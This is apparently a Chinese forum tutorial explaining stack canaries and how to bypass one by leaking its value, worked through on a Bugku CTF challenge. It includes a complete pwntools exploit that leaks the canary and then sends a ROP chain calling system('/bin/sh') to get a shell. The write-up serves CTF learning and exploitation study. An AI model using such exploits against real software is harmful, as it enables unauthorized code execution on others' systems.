canary保护简介
Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。
当canary被打开,那么程序在最开始会把fs寄存器里面的值放进栈底的某个地方(通常32位程序是rbp-4,64位是rbp-8),当栈在使用完毕之前,会对这个地方的值进行异或检测,如果这个值被修改,那么程序就会报错。- High
- Address | |
- +-----------------+
- | args |
- +-----------------+
- | return address |
- +-----------------+
- rbp => | old ebp |
- +-----------------+
- rbp-8 => | canary value |
- +-----------------+
- | 局部变量 |
- Low | |
- Address
复制代码 我们知道,一般的栈溢出都是用gadget碎片进行攻击,也就意味着我们必须要溢出到返回地址的位置,那么栈底也会被覆盖,这样程序一定会报错,这样就达不到我们入侵的效果。
鉴于以上的原因,canary如今被广泛的用于栈保护的第一道防线。
那么如何绕过它呢?此处我们详细介绍一个绕过方式。
泄露canary地址
字符泄露
经过刚才的介绍,我们已经知道了canary是程序中的一个值,那我们就可以通过泄露这个值的地址,然后在溢出时将栈底需要检测canary的那一块地址原封不动的写入canary,实现绕过的效果。
用bugku的例题canary - Bugku CTF

用ida打开,反编译得到

不难看出read函数有栈溢出漏洞,但是在最开始有一个v6 = __readfsqword(0x28u);这个就是canary防护的标志,其他开有canary防护的大差不差都有这种函数特征。
看看汇编代码,发现是将fs寄存器里的值放到了rbp-8的位置

再看看字符串,system和/bin/sh都有。

checksec一下,发现确实开了canary

那么这个时候就要先打印出canary的地址,然后再溢出,溢出的过程中把canary的地址给到rbp-8的位置以绕过防护
下面直接贴出exp- from pwn import*
- sh = process('./pwn4')
- #sh = remote(ip,port)
- context.log_level = 'debug'
- payload1 = b'a'*568 #rbp-8的位置
- sh.recvuntil(b"name(Within 36 Length):")
- sh.sendline(payload1)
- sh.recvuntil(b'a'*568 + b'\n') #发送字符后会有回显,吸收掉这些回显
- canary = u64(b'\x00' + sh.recv(7)) #首先,因为地址排序是小端序的,canary地址没有问题,但是地址后面还需要加上一个'\x00'结尾,所以'\x00'必须遵循小端序加在开头的位置,然后才能把泄露的canary地址加上去,64位程序的canary的大小是8个字节,从0开始数,所以recv(7),32位程序的canary的大小是4个字节,从0开始数,应该recv(3)
- print(hex(canary)) #打印canary地址,进行验证
- sh.recvuntil(b'Please leave a message(Within 0x200 Length)')
- pop_rdi_ret = 0x0000000000400963
- system_addr = 0x400660
- binsh_addr = 0x0000000000601068
- payload2 = b'a' * 520 + p64(canary) + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) #构造payload
- sh.sendline(payload2)
- sh.interactive()
复制代码 其他绕过方式
[(8条消息) pwn]ROP:三道题讲解花式绕过Canary栈保护_breezeO_o的博客-CSDN博客
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |